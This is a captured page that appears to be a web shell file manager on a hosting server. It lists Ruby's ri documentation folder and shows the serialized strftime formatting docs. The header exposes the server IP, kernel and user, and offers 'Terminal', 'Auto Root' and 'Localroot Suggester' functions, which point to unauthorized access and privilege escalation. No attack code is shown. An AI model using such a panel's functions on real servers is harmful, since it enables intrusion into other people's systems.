Linux server1.dn-server.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
LiteSpeed
Server IP : 195.201.204.189 & Your IP : 216.73.216.198
Domains :
Cant Read [ /etc/named.conf ]
User : beriska1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
ruby32 /
share /
ri /
system /
Delete
Unzip
Name
Size
Permission
Date
Action
ACL
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
ARGF
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Abbrev
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Addrinfo
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
ArgumentError
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Array
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Base64
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
BasicObject
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
BasicSocket
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Benchmark
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
BigDecimal
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
BigMath
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Binding
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Bundler
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
CGI
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
CSV
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Class
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
ClosedQueueError
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Comparable
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Complex
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Continuation
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
CoreExtensions
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Coverage
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
DRb
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Data
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Date
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
DateTime
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Delegator
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
DidYouMean
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Digest
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Dir
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
ENV
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
EOFError
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
ERB
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Encoding
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
EncodingError
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
English
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Enumerable
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Enumerator
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Errno
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
ErrorHighlight
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Etc
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Exception
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
FalseClass
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Fcntl
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Fiber
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
FiberError
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Fiddle
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
File
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
FileTest
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
FileUtils
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Find
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Float
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
FloatDomainError
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Forwardable
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
FrozenError
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
GC
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Gem
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
GetoptLong
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Hash
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
IO
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
IOError
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
IPAddr
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
IPSocket
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
IRB
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
IndexError
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Integer
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Interrupt
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
JSON
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Jacobian
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Kconv
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Kernel
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
KeyError
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
LUSolve
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
LoadError
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
LocalJumpError
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Logger
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
MakeMakefile
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Marshal
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
MatchData
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Math
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Method
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Module
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Monitor
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
MonitorMixin
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Mutex_m
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
NEWS
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
NKF
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
NameError
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Net
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Newton
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
NilClass
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
NoMatchingPatternError
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
NoMatchingPatternKeyError
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
NoMemoryError
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
NoMethodError
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
NotImplementedError
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Numeric
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
OLEProperty
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Object
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
ObjectSpace
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Observable
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Open3
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
OpenSSL
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
OpenStruct
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
OpenURI
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
OptionParser
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
PP
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
PStore
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
PTY
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Pathname
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
PrettyPrint
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Proc
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Process
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Psych
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
RDoc
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Racc
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Ractor
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Rake
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Random
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Range
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
RangeError
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Rational
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
RbConfig
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Readline
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Refinement
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Regexp
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
RegexpError
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Reline
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Resolv
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Rinda
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Ripper
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
RubyLex
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
RubyVM
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
RuntimeError
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
SOCKSSocket
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
ScriptError
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
SecureRandom
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
SecurityError
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Set
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Shellwords
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Signal
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
SignalException
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
SimpleDelegator
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
SingleForwardable
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Singleton
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Socket
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
SocketError
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
StandardError
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
StopIteration
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
String
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
StringIO
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
StringScanner
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Struct
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Symbol
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
SyntaxError
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
SyntaxSuggest
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Syslog
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
SystemCallError
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
SystemExit
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
SystemStackError
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
TCPServer
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
TCPSocket
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
TSort
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Tempfile
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Thread
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
ThreadError
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
ThreadGroup
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Time
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Timeout
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
TracePoint
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
TrueClass
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
TypeError
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
UDPSocket
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
UNIXServer
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
UNIXSocket
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
URI
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
UnboundMethod
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
UncaughtThrowError
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
UnicodeNormalize
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
WIN32OLE
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
WIN32OLEQueryInterfaceError
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
WIN32OLERuntimeError
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Warning
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
WeakRef
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Win32
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
XMP
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
YAML
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
ZeroDivisionError
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Zlib
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
contributing
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
fatal
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
optparse
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
syntax
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
win32
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
yjit
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
cache.ri
307.54
KB
-rw-r--r--
2026-04-07 17:42
page-COPYING.ri
3.06
KB
-rw-r--r--
2026-04-07 17:42
page-COPYING_ja.ri
3.16
KB
-rw-r--r--
2026-04-07 17:42
page-LEGAL.ri
50.64
KB
-rw-r--r--
2026-04-07 17:42
page-NEWS_md.ri
36.04
KB
-rw-r--r--
2026-04-07 17:42
page-README_ja_md.ri
10.87
KB
-rw-r--r--
2026-04-07 17:42
page-README_md.ri
4.29
KB
-rw-r--r--
2026-04-07 17:42
page-bsearch_rdoc.ri
5.51
KB
-rw-r--r--
2026-04-07 17:42
page-bug_triaging_rdoc.ri
4.83
KB
-rw-r--r--
2026-04-07 17:42
page-case_mapping_rdoc.ri
4.56
KB
-rw-r--r--
2026-04-07 17:42
page-character_selectors_rdoc.ri
4.59
KB
-rw-r--r--
2026-04-07 17:42
page-command_injection_rdoc.ri
1.45
KB
-rw-r--r--
2026-04-07 17:42
page-contributing_md.ri
1.43
KB
-rw-r--r--
2026-04-07 17:42
page-dig_methods_rdoc.ri
3.66
KB
-rw-r--r--
2026-04-07 17:42
page-dtrace_probes_rdoc.ri
9.92
KB
-rw-r--r--
2026-04-07 17:42
page-encodings_rdoc.ri
20.65
KB
-rw-r--r--
2026-04-07 17:42
page-extension_ja_rdoc.ri
86.74
KB
-rw-r--r--
2026-04-07 17:42
page-extension_rdoc.ri
88.83
KB
-rw-r--r--
2026-04-07 17:42
page-fiber_md.ri
7.55
KB
-rw-r--r--
2026-04-07 17:42
page-format_specifications_rdoc.ri
12.87
KB
-rw-r--r--
2026-04-07 17:42
page-globals_rdoc.ri
5.82
KB
-rw-r--r--
2026-04-07 17:42
page-implicit_conversion_rdoc.ri
7.79
KB
-rw-r--r--
2026-04-07 17:42
page-keywords_rdoc.ri
6.29
KB
-rw-r--r--
2026-04-07 17:42
page-maintainers_rdoc.ri
15.54
KB
-rw-r--r--
2026-04-07 17:42
page-marshal_rdoc.ri
14.17
KB
-rw-r--r--
2026-04-07 17:42
page-memory_view_md.ri
8.85
KB
-rw-r--r--
2026-04-07 17:42
page-packed_data_rdoc.ri
22.57
KB
-rw-r--r--
2026-04-07 17:42
page-ractor_md.ri
31.63
KB
-rw-r--r--
2026-04-07 17:42
page-regexp_rdoc.ri
38.79
KB
-rw-r--r--
2026-04-07 17:42
page-security_rdoc.ri
7.09
KB
-rw-r--r--
2026-04-07 17:42
page-signals_rdoc.ri
4.96
KB
-rw-r--r--
2026-04-07 17:42
page-standard_library_rdoc.ri
9.15
KB
-rw-r--r--
2026-04-07 17:42
page-strftime_formatting_rdoc.ri
20.92
KB
-rw-r--r--
2026-04-07 17:42
page-syntax_rdoc.ri
1.88
KB
-rw-r--r--
2026-04-07 17:42
page-timezones_rdoc.ri
5.14
KB
-rw-r--r--
2026-04-07 17:42
Save
Rename
U:RDoc::TopLevel[ i I"strftime_formatting.rdoc:ETcRDoc::Parser::Simpleo:RDoc::Markup::Document:@parts[|S:RDoc::Markup::Heading: leveli: textI" Formats for Dates and Times;To:RDoc::Markup::BlankLine o:RDoc::Markup::Paragraph;[I"HSeveral Ruby time-related classes have instance method +strftime+, ;TI"Qwhich returns a formatted string representing all or part of a date or time:;T@ o:RDoc::Markup::List: @type:BULLET:@items[o:RDoc::Markup::ListItem:@label0;[o; ;[I"Date#strftime.;To;;0;[o; ;[I"DateTime#strftime.;To;;0;[o; ;[I"Time#strftime.;T@ o; ;[I"=Each of these methods takes optional argument +format+, ;TI"Kwhich has zero or more embedded _format_ _specifications_ (see below).;T@ o; ;[I"LEach of these methods returns the string resulting from replacing each ;TI"Bformat specification embedded in +format+ with a string form ;TI".of one or more parts of the date or time.;T@ o; ;[I"A simple example:;T@ o:RDoc::Markup::Verbatim;[I"3Time.now.strftime('%H:%M:%S') # => "14:02:07" ;T:@format0o; ;[I")A format specification has the form:;T@ o;;[I"%[flags][width]conversion ;T;0o; ;[I"It consists of:;T@ o;;;;[ o;;0;[o; ;[I"!A leading percent character.;To;;0;[o; ;[I"0Zero or more _flags_ (each is a character).;To;;0;[o; ;[I"2An optional _width_ _specifier_ (an integer).;To;;0;[o; ;[I".A _conversion_ _specifier_ (a character).;T@ o; ;[I"/Except for the leading percent character, ;TI"Othe only required part is the conversion specifier, so we begin with that.;T@ S; ; i;I"Conversion Specifiers;T@ S; ; i ;I"\Date (Year, Month, Day);T@ o;;;;[o;;0;[o; ;[I"7<tt>%Y</tt> - Year including century, zero-padded:;T@ o;;[ I"0Time.now.strftime('%Y') # => "2022" ;TI"FTime.new(-1000).strftime('%Y') # => "-1000" # Before common era. ;TI"?Time.new(10000).strftime('%Y') # => "10000" # Far future. ;TI"KTime.new(10).strftime('%Y') # => "0010" # Zero-padded by default. ;T;0o;;0;[o; ;[I"F<tt>%y</tt> - Year without century, in range (0.99), zero-padded:;T@ o;;[I"*Time.now.strftime('%y') # => "22" ;TI"DTime.new(1).strftime('%y') # => "01" # Zero-padded by default. ;T;0o;;0;[o; ;[I"(<tt>%C</tt> - Century, zero-padded:;T@ o;;[ I".Time.now.strftime('%C') # => "20" ;TI"DTime.new(-1000).strftime('%C') # => "-10" # Before common era. ;TI"=Time.new(10000).strftime('%C') # => "100" # Far future. ;TI"ITime.new(100).strftime('%C') # => "01" # Zero-padded by default. ;T;0o;;0;[o; ;[I"D<tt>%m</tt> - Month of the year, in range (1..12), zero-padded:;T@ o;;[I"KTime.new(2022, 1).strftime('%m') # => "01" # Zero-padded by default. ;TI"1Time.new(2022, 12).strftime('%m') # => "12" ;T;0o;;0;[o; ;[I"0<tt>%B</tt> - Full month name, capitalized:;T@ o;;[I"6Time.new(2022, 1).strftime('%B') # => "January" ;TI"7Time.new(2022, 12).strftime('%B') # => "December" ;T;0o;;0;[o; ;[I"7<tt>%b</tt> - Abbreviated month name, capitalized:;T@ o;;[I"2Time.new(2022, 1).strftime('%b') # => "Jan" ;TI"2Time.new(2022, 12).strftime('%h') # => "Dec" ;T;0o;;0;[o; ;[I"'<tt>%h</tt> - Same as <tt>%b</tt>.;T@ o;;0;[o; ;[I"C<tt>%d</tt> - Day of the month, in range (1..31), zero-padded:;T@ o;;[I"4Time.new(2002, 1, 1).strftime('%d') # => "01" ;TI"4Time.new(2002, 1, 31).strftime('%d') # => "31" ;T;0o;;0;[o; ;[I"D<tt>%e</tt> - Day of the month, in range (1..31), blank-padded:;T@ o;;[I"4Time.new(2002, 1, 1).strftime('%e') # => " 1" ;TI"4Time.new(2002, 1, 31).strftime('%e') # => "31" ;T;0o;;0;[o; ;[I"C<tt>%j</tt> - Day of the year, in range (1..366), zero-padded:;T@ o;;[I"6Time.new(2002, 1, 1).strftime('%j') # => "001" ;TI"6Time.new(2002, 12, 31).strftime('%j') # => "365" ;T;0S; ; i ;I",\Time (Hour, Minute, Second, Subsecond);T@ o;;;;[o;;0;[o; ;[I"B<tt>%H</tt> - Hour of the day, in range (0..23), zero-padded:;T@ o;;[I"7Time.new(2022, 1, 1, 1).strftime('%H') # => "01" ;TI"7Time.new(2022, 1, 1, 13).strftime('%H') # => "13" ;T;0o;;0;[o; ;[I"C<tt>%k</tt> - Hour of the day, in range (0..23), blank-padded:;T@ o;;[I"7Time.new(2022, 1, 1, 1).strftime('%k') # => " 1" ;TI"7Time.new(2022, 1, 1, 13).strftime('%k') # => "13" ;T;0o;;0;[o; ;[I"B<tt>%I</tt> - Hour of the day, in range (1..12), zero-padded:;T@ o;;[I"7Time.new(2022, 1, 1, 1).strftime('%I') # => "01" ;TI"7Time.new(2022, 1, 1, 13).strftime('%I') # => "01" ;T;0o;;0;[o; ;[I"C<tt>%l</tt> - Hour of the day, in range (1..12), blank-padded:;T@ o;;[I"7Time.new(2022, 1, 1, 1).strftime('%l') # => " 1" ;TI"7Time.new(2022, 1, 1, 13).strftime('%l') # => " 1" ;T;0o;;0;[o; ;[I"1<tt>%P</tt> - Meridian indicator, lowercase:;T@ o;;[I"7Time.new(2022, 1, 1, 1).strftime('%P') # => "am" ;TI"7Time.new(2022, 1, 1, 13).strftime('%P') # => "pm" ;T;0o;;0;[o; ;[I"1<tt>%p</tt> - Meridian indicator, uppercase:;T@ o;;[I"7Time.new(2022, 1, 1, 1).strftime('%p') # => "AM" ;TI"7Time.new(2022, 1, 1, 13).strftime('%p') # => "PM" ;T;0o;;0;[o; ;[I"E<tt>%M</tt> - Minute of the hour, in range (0..59), zero-padded:;T@ o;;[I"<Time.new(2022, 1, 1, 1, 0, 0).strftime('%M') # => "00" ;T;0o;;0;[o; ;[I"F<tt>%S</tt> - Second of the minute in range (0..59), zero-padded:;T@ o;;[I"?Time.new(2022, 1, 1, 1, 0, 0, 0).strftime('%S') # => "00" ;T;0o;;0;[o; ;[I"M<tt>%L</tt> - Millisecond of the second, in range (0..999), zero-padded:;T@ o;;[I"@Time.new(2022, 1, 1, 1, 0, 0, 0).strftime('%L') # => "000" ;T;0o;;0;[o; ;[I"O<tt>%N</tt> - Fractional seconds, default width is 9 digits (nanoseconds):;T@ o;;[I"?t = Time.now # => 2022-06-29 07:10:20.3230914 -0500 ;TI"Et.strftime('%N') # => "323091400" # Default. ;T;0o; ;[I"PUse {width specifiers}[rdoc-ref:strftime_formatting.rdoc@Width+Specifiers] ;TI"to adjust units:;T@ o;;[ I"Ht.strftime('%3N') # => "323" # Milliseconds. ;TI"Ht.strftime('%6N') # => "323091" # Microseconds. ;TI"Gt.strftime('%9N') # => "323091400" # Nanoseconds. ;TI"Gt.strftime('%12N') # => "323091400000" # Picoseconds. ;TI"It.strftime('%15N') # => "323091400000000" # Femptoseconds. ;TI"Gt.strftime('%18N') # => "323091400000000000" # Attoseconds. ;TI"Ht.strftime('%21N') # => "323091400000000000000" # Zeptoseconds. ;TI"Ht.strftime('%24N') # => "323091400000000000000000" # Yoctoseconds. ;T;0o;;0;[o; ;[I"5<tt>%s</tt> - Number of seconds since the epoch:;T@ o;;[I"/Time.now.strftime('%s') # => "1656505136" ;T;0S; ; i ;I" Timezone;T@ o;;;;[o;;0;[o; ;[I"?<tt>%z</tt> - Timezone as hour and minute offset from UTC:;T@ o;;[I"*Time.now.strftime('%z') # => "-0500" ;T;0o;;0;[o; ;[I"6<tt>%Z</tt> - Timezone name (platform-dependent):;T@ o;;[I":Time.now.strftime('%Z') # => "Central Daylight Time" ;T;0S; ; i ;I"Weekday;T@ o;;;;[ o;;0;[o; ;[I"%<tt>%A</tt> - Full weekday name:;T@ o;;[I".Time.now.strftime('%A') # => "Wednesday" ;T;0o;;0;[o; ;[I",<tt>%a</tt> - Abbreviated weekday name:;T@ o;;[I"(Time.now.strftime('%a') # => "Wed" ;T;0o;;0;[o; ;[I"A<tt>%u</tt> - Day of the week, in range (1..7), Monday is 1:;T@ o;;[I">t = Time.new(2022, 6, 26) # => 2022-06-26 00:00:00 -0500 ;TI"*t.strftime('%a') # => "Sun" ;TI"(t.strftime('%u') # => "7" ;T;0o;;0;[o; ;[I"A<tt>%w</tt> - Day of the week, in range (0..6), Sunday is 0:;T@ o;;[I">t = Time.new(2022, 6, 26) # => 2022-06-26 00:00:00 -0500 ;TI"*t.strftime('%a') # => "Sun" ;TI"(t.strftime('%w') # => "0" ;T;0S; ; i ;I"Week Number;T@ o;;;;[o;;0;[o; ;[I"K<tt>%U</tt> - Week number of the year, in range (0..53), zero-padded, ;TI"(where each week begins on a Sunday:;T@ o;;[I">t = Time.new(2022, 6, 26) # => 2022-06-26 00:00:00 -0500 ;TI"*t.strftime('%a') # => "Sun" ;TI")t.strftime('%U') # => "26" ;T;0o;;0;[o; ;[I"K<tt>%W</tt> - Week number of the year, in range (0..53), zero-padded, ;TI"(where each week begins on a Monday:;T@ o;;[I">t = Time.new(2022, 6, 26) # => 2022-06-26 00:00:00 -0500 ;TI"*t.strftime('%a') # => "Sun" ;TI")t.strftime('%W') # => "25" ;T;0S; ; i ;I"Week Dates;T@ o; ;[I"RSee {ISO 8601 week dates}[https://en.wikipedia.org/wiki/ISO_8601#Week_dates].;T@ o;;[I">t0 = Time.new(2023, 1, 1) # => 2023-01-01 00:00:00 -0600 ;TI">t1 = Time.new(2024, 1, 1) # => 2024-01-01 00:00:00 -0600 ;T;0o;;;;[o;;0;[o; ;[I"#<tt>%G</tt> - Week-based year:;T@ o;;[I"#t0.strftime('%G') # => "2022" ;TI"#t1.strftime('%G') # => "2024" ;T;0o;;0;[o; ;[I"R<tt>%g</tt> - Week-based year without century, in range (0..99), zero-padded:;T@ o;;[I"!t0.strftime('%g') # => "22" ;TI"!t1.strftime('%g') # => "24" ;T;0o;;0;[o; ;[I"I<tt>%V</tt> - Week number of the week-based year, in range (1..53), ;TI"zero-padded:;T@ o;;[I"!t0.strftime('%V') # => "52" ;TI"!t1.strftime('%V') # => "01" ;T;0S; ; i ;I" Literals;T@ o;;;;[o;;0;[o; ;[I"*<tt>%n</tt> - Newline character "\n":;T@ o;;[I"'Time.now.strftime('%n') # => "\n" ;T;0o;;0;[o; ;[I"&<tt>%t</tt> - Tab character "\t":;T@ o;;[I"'Time.now.strftime('%t') # => "\t" ;T;0o;;0;[o; ;[I")<tt>%%</tt> - Percent character '%':;T@ o;;[I"&Time.now.strftime('%%') # => "%" ;T;0S; ; i ;I"$Shorthand Conversion Specifiers;T@ o; ;[I"CEach shorthand specifier here is shown with its corresponding ;TI"longhand specifier.;T@ o;;;;[o;;0;[o; ;[I""<tt>%c</tt> - \Date and time:;T@ o;;[I"ITime.now.strftime('%c') # => "Wed Jun 29 08:01:41 2022" ;TI"ITime.now.strftime('%a %b %e %T %Y') # => "Wed Jun 29 08:02:07 2022" ;T;0o;;0;[o; ;[I"<tt>%D</tt> - \Date:;T@ o;;[I"3Time.now.strftime('%D') # => "06/29/22" ;TI"3Time.now.strftime('%m/%d/%y') # => "06/29/22" ;T;0o;;0;[o; ;[I"!<tt>%F</tt> - ISO 8601 date:;T@ o;;[I"5Time.now.strftime('%F') # => "2022-06-29" ;TI"5Time.now.strftime('%Y-%m-%d') # => "2022-06-29" ;T;0o;;0;[o; ;[I"<tt>%v</tt> - VMS date:;T@ o;;[I"8Time.now.strftime('%v') # => "29-JUN-2022" ;TI"8Time.now.strftime('%e-%^b-%4Y') # => "29-JUN-2022" ;T;0o;;0;[o; ;[I"'<tt>%x</tt> - Same as <tt>%D</tt>.;T@ o;;0;[o; ;[I"'<tt>%X</tt> - Same as <tt>%T</tt>.;T@ o;;0;[o; ;[I" <tt>%r</tt> - 12-hour time:;T@ o;;[ I"ITime.new(2022, 1, 1, 1).strftime('%r') # => "01:00:00 AM" ;TI"ITime.new(2022, 1, 1, 1).strftime('%I:%M:%S %p') # => "01:00:00 AM" ;TI"ITime.new(2022, 1, 1, 13).strftime('%r') # => "01:00:00 PM" ;TI"ITime.new(2022, 1, 1, 13).strftime('%I:%M:%S %p') # => "01:00:00 PM" ;T;0o;;0;[o; ;[I" <tt>%R</tt> - 24-hour time:;T@ o;;[ I"=Time.new(2022, 1, 1, 1).strftime('%R') # => "01:00" ;TI"=Time.new(2022, 1, 1, 1).strftime('%H:%M') # => "01:00" ;TI"=Time.new(2022, 1, 1, 13).strftime('%R') # => "13:00" ;TI"=Time.new(2022, 1, 1, 13).strftime('%H:%M') # => "13:00" ;T;0o;;0;[o; ;[I" <tt>%T</tt> - 24-hour time:;T@ o;;[ I"CTime.new(2022, 1, 1, 1).strftime('%T') # => "01:00:00" ;TI"CTime.new(2022, 1, 1, 1).strftime('%H:%M:%S') # => "01:00:00" ;TI"CTime.new(2022, 1, 1, 13).strftime('%T') # => "13:00:00" ;TI"CTime.new(2022, 1, 1, 13).strftime('%H:%M:%S') # => "13:00:00" ;T;0o;;0;[o; ;[I"C<tt>%+</tt> (not supported in Time#strftime) - \Date and time:;T@ o;;[ I"!DateTime.now.strftime('%+') ;TI",# => "Wed Jun 29 08:31:53 -05:00 2022" ;TI"6DateTime.now.strftime('%a %b %e %H:%M:%S %Z 